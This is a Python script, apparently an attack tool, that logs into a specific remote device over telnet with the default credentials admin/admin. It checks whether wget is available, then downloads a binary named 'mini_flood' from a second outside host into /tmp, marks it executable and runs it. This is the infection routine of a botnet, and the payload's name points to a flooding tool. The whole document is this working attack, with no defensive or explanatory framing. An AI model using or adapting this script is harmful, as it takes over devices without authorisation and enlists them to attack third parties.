import socket, time

ip, port, user, passwd = "5.188.70.249", 23, "admin", "admin"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((ip, port))
time.sleep(1)
data = s.recv(4096).decode(errors="ignore")
print("INIT:", repr(data[:100]))

# Login
if "login" in data.lower():
    s.send((user+"\r\n").encode())
    time.sleep(2)
    data = s.recv(4096).decode(errors="ignore")
    print("USER_RESP:", repr(data[:100]))
if "password" in data.lower():
    s.send((passwd+"\r\n").encode())
    time.sleep(3)
    data = s.recv(4096).decode(errors="ignore")
    print("PASS_RESP:", repr(data[:200]))

# Now we should have a shell prompt - flush
time.sleep(1)
try:
    s.recv(65536)
except: pass

# Test 1: Check uname
s.send(b"uname -a\r\n")
time.sleep(2)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("UNAME:", result.decode(errors="ignore")[:200])

# Test 2: Check if wget works
s.send(b"which wget\r\n")
time.sleep(2)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("WGET:", result.decode(errors="ignore")[:100])

# Test 3: Deploy binary
s.send(b"wget -q -O /tmp/f http://167.148.195.3/mini_flood\r\n")
time.sleep(12)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("DOWNLOAD:", result.decode(errors="ignore")[:100])

# Test 4: Check file
s.send(b"ls -la /tmp/f\r\n")
time.sleep(2)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("LS:", result.decode(errors="ignore")[:200])

# Test 5: chmod and try exec
s.send(b"chmod +x /tmp/f\r\n")
time.sleep(1)
try:
    s.recv(65536)
except: pass

s.send(b"/tmp/f 2>&1\r\n")
time.sleep(3)
result = b""
try:
    while True:
        chunk = s.recv(65536)
        if not chunk: break
        result += chunk
except: pass
print("EXEC:", result.decode(errors="ignore")[:300])

s.close()